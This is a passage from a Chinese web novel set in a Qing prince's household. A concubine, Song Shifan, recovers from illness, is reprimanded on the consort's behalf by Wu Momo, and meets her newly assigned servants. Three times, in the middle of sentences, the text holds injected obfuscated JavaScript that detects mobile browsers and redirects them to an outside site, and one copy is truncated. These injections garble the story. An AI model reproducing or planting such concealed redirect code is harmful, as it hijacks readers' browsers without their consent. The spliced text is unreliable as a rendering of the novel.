这会子已将近天明,四爷揉了揉鼻梁已经没了困意,想了想转身朝着西厢房走去,打算看一眼大格格。 如今宋氏自己都病着,恐怕顾不上大格格,若是他再不管不问,大格格怕要吃苦头了,大格格才几个月大,就算受了委屈也说不出口,还得他去提点奴才们两句才行。 四爷脚步踏进西厢的时候,大格格睡得正沉,两个奶娘倒是警醒,本来她们二人也是合衣躺在大格格身边,精神一直紧绷着,就怕小主子半夜万一有个什么意外她们发现不了。 所以四爷一进门二人就醒了,但顾念着大格格还在睡,也不敢发出动静,只好起身对着四爷屈膝行礼。 好在四爷不计较这些,摆了摆手示意她们起身,然后走过去看了眼大格格,见大格格睡得香甜略放心一些。 随后,四爷将奶娘们叫到门外嘱咐道:“这两日宋格格病着,你们暂且不要将孩子抱去她那边,大格格本就体弱,若是过去沾了病气爷唯你们是问!” 两位奶娘被四爷严厉的语气吓了一跳,忙喏喏应是,四爷还有些不放心又添了一句:“大格格要是有什么不好,你们可别犯浑,直接去前院找苏培盛来禀报爷知道。” 见奶娘们都一一应下了,四爷才抬脚回到了宋时繁的屋子。 这会子,白薇已经将药熬好了,正在喂宋时繁喝,可宋时繁病中思绪模糊不清,下意识便有些抵抗,一碗药没喝进去多少,倒是全洒出来了,把四爷看得直皱眉。 “这样不行,不喝药病哪里好得了?你去多熬几碗,一直喂她喝,洒了也不要紧,直到把药量喝够。”四爷心里着急,却不能自己上手,毕竟身份有别,也只能在旁边吩咐白薇。 见白薇又去熬药了,而四爷却坐了下来,苏培盛不得不上前劝四爷道:“爷,时辰不早了,您看是不是要回前院...” 苏培盛也是无奈,没有后院里格格病了,主子爷在旁边守着这么一说的,能大晚上请太医来看已经是格外恩宠了,要是主子爷继续守下去对宋格格也不好,不出一日,后院里就又要有话说了。 四爷显然也想到了这一方面,犹豫了会儿终是叹了口气站起身来朝外面走去,苏培盛忙跟了上去。 走到门口的时候,四爷仿佛想起了什么,停下脚步对着苏培盛道:“宋氏院子里的奴才都不中用,你看着换上些能干的顶上来,府里的人也要清理清理,有那没眼色的直接退回内务府,省得爷看着心烦。” 苏培盛应下后心中暗暗嗤笑,现下府里的奴才们大部分是主子爷开府的时候跟着一块从内务府分下来的,向来心高气傲得很,今日算他们碰上硬茬了,瞧瞧,这不是就要倒霉了吗? 18. 醒了 到了第二日下午的时候,宋时繁才渐渐清醒过来,她醒来后的第一反应就是口渴,嗓子几乎干得要冒出烟来。 宋时繁想起身倒杯茶来润润喉咙,可她浑身都没有力气,勉强撑着半坐起来,斜依在床榻上,用手拨开床帐,想唤白薇进来帮帮她。 但刚打开床帘,宋时繁就瞧见了一个二八年华的少女,少女下巴略尖,眼睛是个圆圆的杏核眼,眉目流转间尽显伶俐。 少女本没料到宋时繁这时候会醒来,猛然看见帐子被掀开了,忙上前伺候宋时繁起身。 宋时繁看着眼前陌生的脸孔,下意识以为自己又穿了,把她吓得不轻,当即便开口询问道:“你是谁?白薇呢?” 声音喑哑干涩,像是从嗓子眼里挤出来的一句话。 听见宋时繁的问话,伶俐少女立刻退后一步,稳稳跪下来对着宋时繁行了一礼。 然后才缓缓解释道:“奴才给宋格格请安,回格格的话,奴才名叫竹香,是人事上新分过来伺候格格您的,白薇姐姐现下正在院子里给您熬药呢,需要奴才去喊白薇姐姐过来吗?” 宋时繁一时间没搞清楚状况,她记得自己昏倒前还在被四爷罚跪呢,怎么府里这会儿又突然拨人来伺候她? 一头雾水的宋时繁还想继续询问眼前的竹香,但身体情况根本不允许,还没开口倒是先咳嗽上了。 不过竹香是个十分有眼力见的,也知道她被指过来就是要把宋格格伺候好,所以见宋时繁咳嗽得厉害,竹香便忙去倒了一杯水喂宋时繁喝了下去。 将一杯水喝完,宋时繁尤觉得不够,“再来一杯!” 竹香又倒了一杯水来,这次宋时繁没要竹香喂,而是自己将茶杯接了过去,两个手捧着杯子小口小口啜饮着,一面喝一面思索着眼前的情况。 瞧竹香倒是个十分伶俐的,这水端上来的时候竟然不冷不热刚刚好。 要知道竹香可不知道她什么时候会醒,想保持水温就得不停更换,可她眼见着已经失宠了,怎么就肯为她费这个心? 正思索着,白薇提着药壶进来了。 白薇一进屋就发现宋时繁醒了,欣喜之色溢于言表:“格格您可算是醒了!” 宋时繁听见白薇的话以后立刻就朝着白薇看了过去。 毕竟她从穿越过来到现在,除了她自己生出来的大格格,其余的也就白薇一个人几乎日夜不离陪着她。 所以她刚刚才会被乍然见到的陌生面孔吓到,这会见到白薇心里就好受多了。 “看来于太医真是个医术高超的,他临走前交代奴才说,格格今天就会醒,可见格格总也不醒,奴才还担心呢,没成想这会子格格就醒过来了...” 白薇一边笑吟吟地跟宋时繁说话,一边将药壶里的药汁子用小碗盛出来,打算伺候宋时繁喝药。 宋时繁看见那黑乎乎的药汁心里就止不住地发苦。 她在现代的时候若是有个小感冒,那可是能吊水就不吃药的,就算要吃药也有胶囊之类的药品可以选择,唉,来了古代还真是哪儿哪儿都不方便呢。 不过不喝也不行,要知道这时候可是一个感冒发烧就能要人命的,还是老老实实遵医嘱得好。 想到这里,宋时繁从白薇手里接过药碗,然后捏住鼻子一个仰头就将整碗药一滴不落地灌进了嗓子里。 这豪迈的喝药方式将一旁的白薇和竹香吓了一跳。 白薇跟宋时繁相处了这么久,已经有些习惯宋时繁时不时抽一下风的性格,她只是担心自家格格喝得这么快会被呛到,反观竹香,却是实实在在被宋时繁惊着了。 按理说后院里的女人们行动起卧之间都要讲两个字,那就是好看,不然若是哪天一个不留神,自己的丑态被主子爷看见了,也许就会招致主子爷的厌弃,所以竹香还从没见过举止这样不讲究的格格呢。 宋时繁可没想那么多,她只是觉得长痛不如短痛,既然怎么样都得喝,那还不如用最快的速度灌下去,也能少受点罪。 等白薇她们将药碗收拾下去以后,宋时繁才有机会询问白薇自己昏迷后到底发生什么事情了。 “大格格现在在哪?一天都没见到我了,有没有哭闹?”宋时繁最先问得当然还是她自己的女儿。 “回格格的话,大格格在西厢里让奶娘们带着呢,您病下以后,主子爷特意交代了,让奶娘们暂时不要把大格格抱过来,免得沾了病气,今日晨起的时候大格格哭了一会,约莫是在找您呢,不过叫奶娘给哄住了,这会子大格格应该正在睡觉。” 宋时繁见白薇说得详细,又听到大格格没事,到底放心了些,但还是交代了两句:“确实,不要叫大格格过来,小孩子本身免疫力就差,大格格又是个胎里弱的,还是等我好全了再见面得好,还有,你常在我这,也别往西厢那边去了。” 等白薇都一一应下以后,宋时繁思索片刻又开口询问:“你方才说是四爷交代不要大格格过来我这边的?四爷知道我病了?” 白薇点点头,解释道:“昨儿个夜里格格您突然了晕过去,奴才六神无主,可院里的小太监们不愿意去前院帮格格找大夫,奴才只好去求了福晋,但福晋...” “福晋约莫是觉得天色太晚,不愿意大动干戈,奴才实在没办法了,便去李格格那边找主子爷,好在主子爷一听说格格生病立刻就过来了,陪着格格见了太医,又亲眼看着格格吃了药,直到天亮才离开呢。” 宋时繁闻言一时间不知道是什么滋味,明明不分青红皂白罚人的是四爷,怎么又仿佛很关心她的样子呢?她真是有些看不懂这个皇阿哥了。 白薇见宋时繁不说话,脸上神色也有些阴郁,犹豫了下还是开口道:“格格,您别怪奴才逾矩,奴才瞧着主子爷还是很关心格格的,昨天也不是真心要罚格格,格格您...”后面的话实在是没规矩,白薇不敢继续说了。 就算白薇没说完,宋时繁也知道她的意思。 诚然,这时候的女人都讲究三从四德,以夫为天,她也不停地劝自己“既来之则安之”。 可她前十几年受到的教育都告诉她男女平等,她心里就是迈不出这个坎,没办法将自己当作奴才来看。 她可以做足恭顺的表面功夫,也在尽量适应见人就要磕头行礼的规矩,没事的时候就守着大格格偏安一隅。 可即便如此,这府里的人还是觉得她软弱可欺,新进门的福晋想利用她,刚怀孕的李氏更是看她哪儿哪儿都不顺眼,时刻想压她一头,几乎每个人都想踩她一脚。 原本以为四爷还算明事理,也肯看在大格格的面子上护一护她,所以很多事她都忍下来了,可她只不过是不甘心为人棋子,四爷竟问都不问就要拿权势逼迫她,所以她不肯认错,因为她觉得自己根本没错。 莫名其妙来到这个地方给人当小妾已经很惨了,突然多了个女儿也不说什么了,若是安安分分老老实实还要被人利用,关键还不允许人反抗,这就没道理了好吧。 所以她宋时繁是绝对不会像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13045515|137497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 四爷这种黑暗势力低头的! 在心里暗暗下了决定的宋时繁又想到了新来的竹香,“对了,竹香是怎么回事?之前也没说要往我这里派人呀?” 这个事情就有些复杂了,竹香抿了抿嘴唇,一时不知道该怎么对宋时繁解释。 好在白薇立刻接话道:“回格格的话,咱们院子里先前的那几个奴才昨晚上耽误了格格您的病情,主子爷听闻以后勃然大怒,交代了苏公公将那些不敬主子的人都退回内务府去了,今儿一早苏公公就将新人送来了。” “来了几个人?”经此一遭,宋时繁觉得她还是得将自己的小院子给把控起来,之前不愿意把那些人当奴才,也不愿意跟他们计较什么,只想过好自己的小日子。 可现在看来,若是就这样放任下去,非但不能相安无事,还会让她连一点自保能力都没有,那些人只会觉得她好欺负,而且以后再有什么事,连个能搭把手的人都没有,所以趁此机会还是问清楚比较好。 “回格格的话,包括竹香在内,来了三个丫鬟,竹香是贴身伺候您的,和奴才一样都是一等丫鬟,其余两个是三等,平时在外面做做粗活,不会近身伺候格格的,另外苏公公还送来了两个粗使太监,格格要见见他们吗?” 宋时繁闻言有些惊讶:“听你这么说来我院里的人几乎都换了一遍?” 白薇点了点头道:“是,他们伺候格格不力,早就该换了!” 宋时繁又问:“只换了我的院子吗?” “并不是,主子爷下令趁着年前将府里人都清点一遍,有那不好好当差的全都要撵走,针线房上换了两人,膳房换了四个,武格格处换了一个粗使丫鬟,其余就没听说了,格格这里确实变动大了些。” “唉,这样一来,福晋又有话说了。”宋时繁苦笑了一下,还真是生命不息,宅斗不止啊,一点儿都不给人松懈的机会。 正想着,屋外有人来报:“禀格格,福晋身边的吴嬷嬷来了...” 还没等人禀报完,吴嬷嬷就已经进了屋,可谓是十分不尊敬了,不过以宋时繁现如今的身份却没法说她。 毕竟吴嬷嬷是福晋从家里带来的陪嫁嬷嬷,在府上地位很不一般,是谁都要给三分面子的,更何况面对宋时繁这样一个病中失宠的小格格,能亲自来一趟都算给宋时繁面子了,行动上自然就带了些不恭谨。 吴嬷嬷进门后先仔细打量了宋时繁一眼,见宋时繁确实病容憔悴,不似作伪,便对着宋时繁略微福了福身,只是还没等宋时繁叫起,她已经自行起了身。 随后吴嬷嬷就开口了:“老奴给宋格格请安了,听闻宋格格病了,福晋忧心得不行,这不,赶紧就让老奴过来瞧瞧宋格格,宋格格这会感觉怎么样了?” 这话倒是没得叫人笑话,若福晋是真的忧心,一早也该派人来了,更何况白薇昨晚上就去求了,福晋不可能不知道这回事,所以吴嬷嬷现在说这话也就是跟宋时繁客套一下,当然,这种情况下宋时繁也只能客套回去。 “是我身子不争气,叫福晋担心了,还累得嬷嬷跑一趟,等我好了一定亲自去给福晋赔罪,嬷嬷快坐!” 竹香早就搬了个绣蹲过来,吴嬷嬷倒是不推辞,当即便坐下了。 紧接着,吴嬷嬷就开口道:“唉,福晋那边还不算什么,只不过宋格格这一病,倒是惹得主子爷挂心不已,昨儿一宿几乎没休息呢,也是主子爷疼爱宋格格的缘故。” 这话一出,宋时繁就意识到,吴嬷嬷是来找麻烦的。 19. 又被罚了 吴嬷嬷此话一出,屋子里的气氛霎时间就有些紧张了。 宋时繁借着咳嗽的动静,将要说的话在脑子里润色了一圈,然后才虚弱开口道:“嬷嬷的话严重了,我实在是不敢当,咳...说起来主子爷也是不放心大格格,怕大格格沾了我的病气,这才来这儿多嘱咐了两句...咳咳...” 宋时繁的话吴嬷嬷是一个字也不信的。 在吴嬷嬷的观念里,丫头片子根本就不算回事,主子爷再疼爱也是有限度的,说到底还不是宋格格仗着有了孩子便张狂起来,这会子又拿孩子做借口。 如此一来,吴嬷嬷更觉得宋格格是个不容小觑的了,平日里一副绵羊样子,暗地里心机不知道多深重呢。 想到这里,吴嬷嬷脸上便带出些倨傲来,哼笑了一声开口道:“宋格格既然病体沉疴,怕是也难以承担抚养大格格的重任,若是哪天宋格格再病了,主子爷岂不是还要跟着担心?” 宋时繁一听这话心中当下便是一紧,但很快又反应过来了。 吴嬷嬷这是代替福晋敲打自己呢,并不是真地要抢走大格格,毕竟大格格身子确实太差,福晋要一个体弱多病格格在身边也没什么用。 虽说心里明白了,但该演的戏还是要演。 因为这是在古代,正室要是想养小妾的孩子,小妾必须得感恩戴德才是,这算是正室给下来的体面,也是恩赏,所以哪怕她心里一万个不愿意也得换种方式说,否则太生硬了,万一福晋真不管不顾地将她女儿抢走,她还活不活了? 宋时繁当即挤出两滴眼泪来,泪眼婆娑地对着吴嬷嬷又强调了一遍大格格的身子:“大格格自出生就比旁人的孩子弱气三分,成天不是吐奶就是发热,光太医就得三天两头得来,奶娘也一直吃着药...咳咳...” 说到这里,宋时繁又是一阵剧烈的咳嗽,“所以,才叫主子爷上了心,如今见福晋也这样关心大格格,可见福晋是天底下最宽容的主子了,我真是感激不尽...” 宋时繁用袖子假装擦拭了下眼泪,然后才又道:“只福晋平时日理万机,本就辛劳,我是万万不敢用这点小事来麻烦福晋的...” “宋格格能明白福晋的心就是极好得了!” 吴嬷嬷本也就是想吓唬吓唬宋时繁,见宋时繁紧张,只当是吓住她了。 其实说到底,吴嬷嬷还是觉得宋时繁不足为惧,毕竟现在宋时繁的依仗就是大格格,若是没了大格格,宋时繁哪天死了都不会有人在意,依照吴嬷嬷的看法,要说府上的格格们谁需要格外注意的,那肯定是怀着身子的李格格。 而且她们福晋是要专心怀阿哥的,哪里有空养个病秧子格格在身边,现下见宋时繁还算知机,便也不再提什么抱养不抱养的话。 随后吴嬷嬷又想到福晋此次让她来探病时嘱咐的话,便不再跟宋时繁绕圈子了,开门见山道:“只不过主子福晋心善,底下人却不知感恩起来。” “嬷嬷这话是何意?福晋宽容是我们的福分,哪里就敢怎么样了?”宋时繁面上佯装不懂,怯怯地问了吴嬷嬷一句。 不过,宋时繁的心里却是门清的。 还不是因为昨个儿她得罪了福晋,半夜里白薇又去福晋院儿里请大夫,不仅没请来,还被福晋借机为难了一通,谁知白薇胆子大,竟直接惊动了四爷,还真叫白薇将人喊了过来,于是福晋脸上就不好看起来。 想必这也是吴嬷嬷来的本意,就是要代替福晋警告她一番,好让她知道这府里到底谁才是大小王。 其实依照宋时繁来看,福晋完全是多虑了,她才刚被四爷罚过,四爷就算多照顾了几分也是看着大格格呢。 府上谁不知道她这里是个冷灶,不踩上一脚都算客气了,哪里就能威胁到福晋了? 但是经此一遭,宋时繁也算是看出来了,四爷府上的这位福晋,惯要做出一副大方贤惠的模样,但实际上却是个小气的。 当然,这并不是说福晋不好,而是古时候这些三从四德的封建教条着实害苦了女人们,叫好端端的小姑娘们,都活得别别扭扭的。 说福晋是小姑娘可一点儿都没错,福晋乌拉那拉氏要比四爷小上七岁呢,如今也才十四、五的年纪,可不是好好一个小姑娘就被祸害了? 哎...不过宋时繁除了在心里长叹一声,其他什么都做不了,毕竟如今的她也是泥菩萨过江,自身难保呢。 不仅如此,她现下还得配合着吴嬷嬷将戏唱下去。 果然,只听吴嬷嬷又接话了,“宋格格何苦要揣着明白装糊涂呢?按理来说,老奴不该指摘宋格格什么,可福晋既然叫老奴来了,就必须得将话给宋格格说明白了,宋格格也别怪罪老奴僭越了...” 宋时繁忙接话道:“不敢,福晋有什么话吩咐的,嬷嬷便直说吧!” 吴嬷嬷先站起身来对着宋时繁福了一福,口里称着:“那就请宋格格赎罪了!” 紧接着吴嬷嬷才又开口道:“虽说宋格格是真病了,可大半夜里惊天动地的就闹了起来,还有什么规矩体统在?竟然还敢纵容奴仆去惊扰主子爷安寝,这就更是大不敬之罪,此事若是传了出去,旁人家里不说宋格格、不守规矩,倒要说是福晋治家不严,但凡被宫里德妃娘娘知道了去,德妃娘娘也没脸,就是福晋也得跟着吃挂碍,所以今日不罚是不成的了,否则日后府里的格格们都有样学样,那府上岂不是乱了套了?” 宋时繁心里也有准备,这一遭不仅牵扯上了四爷,还闹得府上人都换了许多,尤其是她院子里的奴才们,几乎全换了一遍,更何况没有经过福晋的手,这就算是狠狠下了福晋的面子,福晋心里的气若是不找地方出一出势必不会善罢甘休的,所以宋时繁接受得很坦然。 “嬷嬷说的是,此番是我考虑不周了,无论福晋要怎么罚,我都毫无怨言。” 吴嬷嬷见宋时繁面上还算乖顺,心里的气也顺了些,缓了缓口气又道:“宋格格毕竟是在病中,福晋也不是那起子不讲理的人,便就罚宋格格将心经抄上二十遍,考虑到宋格格的身子,福晋也说了,不拘什么时候抄完,还是以身子为重。” 还好,仅仅是抄经书,只要不是什么罚跪之类损耗身体的惩罚,她都能接受,正好她也打算学学字,就当是练笔了,于是宋时繁利落谢恩:“多谢福晋体恤了,我一定不敢辜负福晋的厚爱。” 可没成想吴嬷嬷话锋一转又张口道:“宋格格的事还好说,只是宋格格身边的奴才却不得不严加管教。” 闻言宋时繁心中一紧,虽然白薇是她的贴身丫鬟,可福晋管束着府中诸人,若是想发落了谁,甚至连招呼都不必打一声的,此番白薇将福晋那边得罪狠了,若福晋真狠了心,想必她也是无可奈何的。 于是宋时繁忙接话道:“是我不争气,一年里有半年都在吃药,如今生了大格格,也是三天两头的身上不好,我这一颗心又全牵挂在大格格的身上,竟是没有一点儿余力管束下面的人...” 说到这里宋时繁锤了锤胸口,作出一副虚弱难耐的模样,“这也让下面人都没了规矩,所以昨儿个四爷来了之后才惹四爷不快,叫四爷狠狠发落了他们一番,如今我院里的这些人都是新来的,想必是福晋挑了好的给我送来,靠我自己是万万不成的...” 宋时繁这话说得明白,一来告诉吴嬷嬷她自己是个没本事的,二来,她院里人是因为惹了四 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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宋时繁本来也不需要什么丫鬟服侍自己,白薇是她一来这里就在的,她也当个朋友处着呢,如今又来了个竹香,若是竹香不愿意留下吃苦,硬强迫人家留下来以后不知道还有什么事呢,不如这会子开门见山地将话说清楚了好。 没成想竹香只略略思索了一会儿,就跪下给宋时繁磕了个头:“奴才既然来格格这里,就没想过要走,格格也不必担心,奴才必会尽忠职守,绝无可能敢干那些吃里扒外的事,定当忠心不二地服侍格格!” “你可当真想好了?” 竹香闻言又磕了个头:“奴才想好了!” 宋时繁见竹香心意已决,便没有再劝,“既如此,我就拿你当自己人了,快起来吧,没什么事也别动不动就跪下,我不习惯...”说着还伸手拽了一把竹香,将竹香拽了起来,不许她继续跪着。 而竹香被宋时繁扶起来以后还有些懵懂,她从前是洒扫上的人,平日里就干些粗活,这次是府里突然走了不少奴才,年节跟前也不好采买人,苏公公见她还算老实,便让她来伺候宋格格。 从前他们这些奴才在旁的主子眼里那都不算人,可没想到才见了第一面,宋格格就愿意为了她们这几个不算人的奴才跟福晋求情。 而且竹香并不是什么笨人,相反她还挺聪明的,所以她一眼就看出来宋格格日子过得艰难,但就算这样,宋格格还是愿意将自己的银子拿出来贴补奴才。 竹香觉得,也许宋格格跟旁人是不一样的,再说了,她原本就是个粗使丫鬟,能到宋格格身边当一等丫鬟,已经是走了大运,这时候要是走了,不定换到哪儿去当差呢,所以她愿意留下来伺候宋格格。 思索间,宋时繁又开口了:“不是说还来了不少人吗?趁着我这会子精神头好,竹香你将他们一起叫进来吧,既然都到了我院里,若是以后还不认识也不像话。” 竹香得了吩咐忙快步出去喊人了,白薇则上前帮着宋时繁整理头发和衣服,毕竟要见外面的奴才们,衣冠不整是绝对不行的。 20. 认识一下 等宋时繁收拾妥当以后,竹香已经领着一排人站在外头了。 “格格,人都来齐了。”竹香隔着帘子在门外禀报了一声。 宋时繁闻言应道:“叫他们进来吧。” 话音刚落,就见几人鱼贯而入,有个老嬷嬷,三个小太监,还有两个看着就一团孩子气的小丫鬟,这老老小小的俱规规矩矩地垂首立在下方,等候宋时繁的吩咐,。 宋时繁用眼神示意了白薇一下,白薇便上前一步开口道:“都傻站着做什么?还不快速速报上姓名与格格知晓。” 宋时繁被白薇一本正经的样子给逗乐了,只管抿着嘴朝白薇笑,好在下面站着的人不敢抬头看宋时繁,否则就要闹笑话了。 白薇本还能绷着面色,可这会见自家格格正一脸揶揄地看着自己,一时间也没憋住,又不愿意在新来的人面前丢了面子,情急之下冲着宋时繁瞪了下眼睛。 宋时繁倒不在意,见白薇真有些急了,不敢再笑她,忙收敛神色,学着白薇的样子,正襟危坐起来。 一场眉眼官司旁人都没瞧见,可却是都落在了一旁的竹香眼里。 彼时竹香更暗下决心,定是要好好跟着宋时繁,毕竟从宋时繁和白薇之间的相处氛围来看,就能瞧出宋时繁肯定是个好主子,跟着她虽然以后前程不好说,但日子一定好过。 思索间,已经有人站出来了。 “奴才石桥给宋格格请安了!”说话的是个太监,看着约莫十八、九左右,正是当初宋时繁晕倒的时候,告诉白薇主子爷在李格格院里的那个小太监。 宋时繁看着他有些眼熟:“我怎么瞧着你十分面熟,你本来就是我这院儿里的吧?” 白薇见宋时繁这么问,就在宋时繁耳边悄悄将小太监提醒自己的事情说了,宋时繁闻言点了点头表示了解。 而另一边石桥听见宋时繁的问话有些高兴:“格格竟然还记得奴才,奴才是主子爷刚开府的时候,内务府分过来的,当时便分到格格院里了。” 石桥是个聪明人,也是有自己打算的。 当初他可是使了银子才分到宋格格这里来的,毕竟那会子的宋格格是从阿哥所就跟着主子爷的,又是第一个伺候主子爷的人,虽说没了一个孩子,但到底跟主子爷有情分在,以后绝对差不了。 可没成想主子爷对宋格格一直淡淡的,开府至今也没见有什么宠爱,彼时石桥是有些气馁的,不过好在宋格格又顺利生下了大格格,这不主子爷又往这边来了。 而且这些日子里,石桥冷眼看着,主子爷并不是对宋格格一点儿宠爱没有,多少还是有些喜爱的,所以石桥才愿意在昨晚上提醒白薇一句,也算是卖宋时繁一个好。 可见他是赌对了,这不,主子爷当晚就发落了那些亏待宋格格的人,呸,那些人作践起主子来倒是一个赛一个得能耐,也不瞅瞅自己是什么身份,这回傻了吧? 有了这一档子事,石桥愈发坚定自己当初的目光,觉得跟着宋格格准儿没错,所以这会子才第一个就献起殷勤来。 而宋时繁在石桥说完话以后心中也有了谱儿,之前听白薇话语里的意思,四爷是铁了心要清理府上的奴才们,尤其是她院子里的这些。 但这个石桥竟留了下来,可见平时就是个会做人的,有个这样的人精在身边也好,真说起来,昨晚上可不就是他一句话才给白薇指了明路吗?否则自己就这么死了也说不定呢,从这也能看出这人还算心善,这样就很好。 想到这里宋时繁脸上挂了抹笑容:“可见你是个好的,否则也不会独独留下你一个还在我身边,昨日的事我还得多谢你呢。” 从来没见有哪个主子是这样直白表达谢意的,石桥一时间有些摸不准宋时繁的意思,连忙跪下磕头:“是格格抬举奴才了,奴才不敢当格格一句谢,这都是奴才应该做的。” 宋时繁被弄得有些哭笑不得,她是真想谢谢石桥的,说的话也是真心的,就是不知道他理解到哪个方向了。 而且宋时繁真是想不通这些清朝人的行动逻辑,怎么能说跪就跪呢,他们的膝盖难不成是铁打的? 不过眼下还是先安抚好石桥才是,于是宋时繁上手扶了一把:“快起来,我是真觉着你好,我还要赏你呢。”说罢,用眼神示意白薇拿银子。 白薇也不含糊,当即便摸出一个荷包递给石桥,“格格赏你的。” 宋时繁就在一旁笑了笑:“银子不算多,略表一表我的心意吧,往后你安心在这里,我还有好的给你呢。” 奖励夸赞完就该画大饼了,这是一套标准流程,当然,宋时繁是仿照她现代的爸妈从前激励她学习的话术,将其改编升级了一下。 想到这里,宋时繁有一瞬间的暗淡,也不知道她在现代的爸妈怎么样了,有没有因为她没了而难过,肯定会的吧... 不过眼下她没时间伤春悲秋,最重要的是先苟住小命要紧,于是宋时繁闭了闭眼将脑海中的愁绪挥散。 再抬眼就看见石桥又准备跪下谢恩了,宋时繁忙挥手让他别行礼:“好了好了,不用谢恩了,一会儿跪一下你也不嫌累得慌!” 闻言,石桥这才露出些腼腆笑容来:“格格您真好,奴才日后绝不敢有二心,就是下辈子变成牛也是要驮着格格的。” 石桥刚说完,宋时繁就噗嗤一声就笑了出来,一旁的白薇和竹香也没忍住笑了出来,就连下面站着的其他奴才们都抿了抿唇角。 宋时繁笑得花枝乱颤:“唉哟我天,你志向能不能远大些,这叫什么话,再说了,你不是叫石桥吗?就算变也该变座大桥才是。” 石桥摸了摸脑袋,适时殷勤道:“格格想叫我变桥那我就变桥,以后变成大桥让格格踩!” 宋时繁听得直摆手:“得了!不许再逗我笑了!” 石桥见好就收,立即往后退了一步,随后,紧挨着石桥的两个人就上前给宋时繁请安。 “奴才曹三宝、奴才赖世兴给宋格格请安!” 宋时繁细细打量了二人一会儿,见两人都是十几岁的样子,当然,太监若是去势时间早,可能面容也会显得年轻些,是看不出岁数的。 于是宋时繁问道:“你们都多大了?” 先说话的是曹三宝:“回格格的话,奴才今年虚十六了。” 然后赖世兴才道:“奴才今年十九。” “呀,这么小呢!”宋时繁闻言下意识感叹了一句。 倒是年纪最小的曹三宝率先开口道:“格格,奴才不小了,奴才六岁就成了太监,真要算起来,怎么都是当了十年差呢,而且奴才家里的两个弟弟,都比奴才小,这会也能做工了。” 宋时繁心里有些酸涩,“你家里还有弟弟吗?” 曹三宝扬起个笑来:“回格格话,是有两个弟弟,还有一个妹妹呢,我是家里最大的。” “这么小的年纪,你父母怎么舍得你进来的?”宋时繁问得小心翼翼,生怕伤了眼前少年人的自尊。 倒是曹三宝浑不在意:“那时候家里穷,若是奴才不进宫就是弟弟们,奴才年纪最大,当然应该奴才进来,虽说是进来当奴才,可条件比家里好太多了,每月还能寄点儿钱回家里,养活弟弟妹妹们,这样很好呢。” 宋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13045517|137497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时繁眼睛有些酸涩,不愿意再继续下去这个话题,于是她示意白薇拿荷包赏赐二人,“一人一个荷包,算是我的心意,你们既然分到这里来,咱们日后就算是一道的了,有我的自然有你们的。” 曹三宝和赖世兴齐齐谢恩:“多谢格格的赏,奴才们往后一定尽忠职守。” 等见完小太监们,宋时繁又注意到旁边站着的两个小姑娘,两个人穿着一样颜色的衣服,俱是眉清目秀的长相,可年纪能有十岁就顶天了。 “你们叫什么名字?” 两个小丫鬟知道宋时繁是在问她们,忙上前回道:“奴才们给格格请安了!” “奴才叫有红” “奴才叫有冬” 二人分别上前说了自己的名字。 宋时繁有些奇怪:“名字取得都一样,你们是姐妹吗?” 两个小姑娘摇了摇头,其中一个怯怯道:“奴才们的名字是带着我们的嬷嬷给取的,也是嬷嬷将我们一起分到了格格您这里,嬷嬷还说,让奴才们求格格您给改个好名字呢。” 白薇也在旁边接了一句:“是呢格格,既然来了咱们这里,您给改个名字,也是给她们的恩典了。” 宋时繁沉吟了一会才道:“你们嬷嬷原先起得名字也不错,既然你们想改,那不如就叫好春和含冬吧。” 好春和含冬上前谢恩:“奴才们多谢格格赐名。” 白薇便去抓了一把铜钱过来,好春和含冬每人都分到了一小把,她们两个年纪还小,脸上藏不住事,这会子抱着铜钱已经笑开了。 宋时繁看她们高兴了,自己心里也高兴,于是吩咐白薇和竹香道:“她们太小了,平日也别叫她们干什么,只好好呆在院子里就是了。” 白薇和竹香行礼应是。 最后说话的是一个老嬷嬷,“奴才给格格请安。” 这位徐嬷嬷也是一直就在宋时繁院子里的,年纪已经很大了,平日里就做些看看门的活计,向来老实本分,从不生事,所以这次也留了下来,宋时繁一并让白薇赏了。 见完大大小小的一干人等,也花了近一个时辰的功夫,宋时繁本就还在病中,这会已经有些撑不住了。 竹香瞧出了宋时繁的疲态,忙打发这些人出去了,白薇见状赶紧上前扶着宋时繁回到床榻,宋时繁揶揄了一句:“这么瞧还是新来的竹香比较贴心呀!都把白薇你比下去了。” 白薇也不恼:“格格身边本就应该有两个一等丫鬟伺候着,从前是府里人疏忽了,这才导致格格身边有空缺,如今人补齐全了,多一个人伺候格格奴才高兴还来不及呢。” 宋时繁继续调笑:“你可不是高兴,以后有人帮你干活了,再也不用一个人管我这三灾两病的倒霉格格了!” 饶是白薇再习惯了宋时繁隔三差五的混账话,这会儿也有些生气,怎么自家格格说话就是没个忌讳呢? “格格你又胡说了,这种话怎么能乱说,没得叫人以为您盼着自己不好呢,您还是快歇着吧!”说着又给宋时繁掖了掖背角。 宋时繁躺下以后倒没什么困意,毕竟她昏迷到现在刚醒呢,恰好此时竹香回来了,于是宋时繁继续跟她的两个丫头顽笑:“竹香你快来,瞧你白薇姐姐多凶。” 